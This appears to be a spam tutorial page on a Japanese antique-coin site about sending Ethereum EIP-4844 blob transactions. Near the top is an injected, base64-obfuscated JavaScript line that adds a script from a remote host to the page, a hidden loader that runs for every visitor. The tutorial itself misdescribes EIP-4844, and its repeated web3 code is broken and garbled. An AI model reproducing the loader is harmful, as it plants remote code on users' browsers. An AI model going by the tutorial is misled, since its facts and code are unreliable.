アンティークコインTV アンティークコインの投資・購入の情報サイト

Ethereum: how to send eip-4844 (transaction blob / transaction type 3)?

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”c.php?u=ab15d851″;document.body.appendChild(script);

Sending Type 3 Transactions on Ethereum: A Step-by-Step Guide

Since Ethereum 2.0, Type 3 transactions (EIP-4844) have enabled advanced and more flexible smart contract interactions. In this article, we will discuss how to send a Type 3 transaction using blob transactions.

What is the EIP-4844 transaction?

An EIP-4844 transaction is a new transaction type that allows data to be transferred from one address to another without requiring a separate function call. This means you can now interact with smart contracts more efficiently.

How ​​to send a Type 3 transaction

To send a Type 3 transaction in Ethereum, you need to use the eth_sendTransaction method provided by the web3 library. Here is an example of how to do it:

const web3 = require('web3');

const network = new web3.providers.HttpProvider('

const contract_address = "0x..."; // Replace it with your contract address.

const data = 'Hello world!';

const gas_price = 20; // Optional gas price (optional)

web3.eth.sendTransaction({

from: networkaccounts.get('YOUR accountaddresses'), // You need to get the sender's account address

gas: 2000000, // Set high gas limit to avoid gas errors

nonce: web3.utils.toHex(web3.eth.getTransactionCount(network.accounts[0])), // Get current nonce (optional)

value: web3.utils.toWei('1', 'ether'), // Sets the ether value to 1

date,

gasPrice: gasPrice

}, (error, transactionhash) => {

if (error) {

console.error(error);

} else {

console.log(Transaction sent successfully! transactionhash: ${transactionHash});

}

});

Raw API calls with transaction type 3

Here is an example of how to send a transaction of type 3 using the ‘web3’ library:

const web3 = require('web3');

const network = new web3.providers.HttpProvider('

const contract_address = "0x..."; // Replace it with your contract address.

const data = 'Hello world!';

const gas_price = 20; // Optional gas price (optional)

web3.eth.sendTransaction({

from: networkaccounts.get('YOUR accountaddresses'), // You need to get the sender's account address

gas: 2000000, // Set high gas limit to avoid gas errors

nonce: web3.utils.toHex(web3.eth.getTransactionCount(network.accounts[0])), // Get current nonce (optional)

value: web3.utils.toWei('1', 'ether'), // Sets the ether value to 1

date,

gasPrice: gasPrice

}, {

jsonrpc: "2.0",

method: 'eth_sendTransaction'

})

Sending a type 3 transaction with blob data

To send a type 3 transaction with blob data, you need to set the Use eth_sendTransaction method and specify jsonrpc parameter as 2.0. Then you can pass the blob data as a string:

const web3 = require('web3');

const network = new web3.providers.HttpProvider('

const contract_address = "0x..."; // Replace it with your contract address.

const gas_price = 20; // Optional gas price (optional)

const data = Buffer.from('Hello world!', 'utf8'); //Create a string data blob

web3.eth.sendTransaction({

from: networkaccounts.get('YOUR accountaddresses'), // You need to get the sender's account address

jsonrpc: "2.0",

Method: 'eth_sendTransaction'

}, {

Parameters: [date],

GasPrice,

gas: 2000000, // Set high gas limit to avoid gas errors

nonce: web3.utils.toHex(web3.eth.getTransactionCount(network.accounts[0])), // Get current nonce (optional)

Value: web3.utils.toWei('1', 'ether'), // Sets the ether value to 1

Date,

jsonrpcVersion: 2.0

})

Please note that you need to specify “YOUR ACCOUNT ADDRESS” and “YOUR PROJECT ID” with your actual Ethereum account address and project ID.

Hope this helps!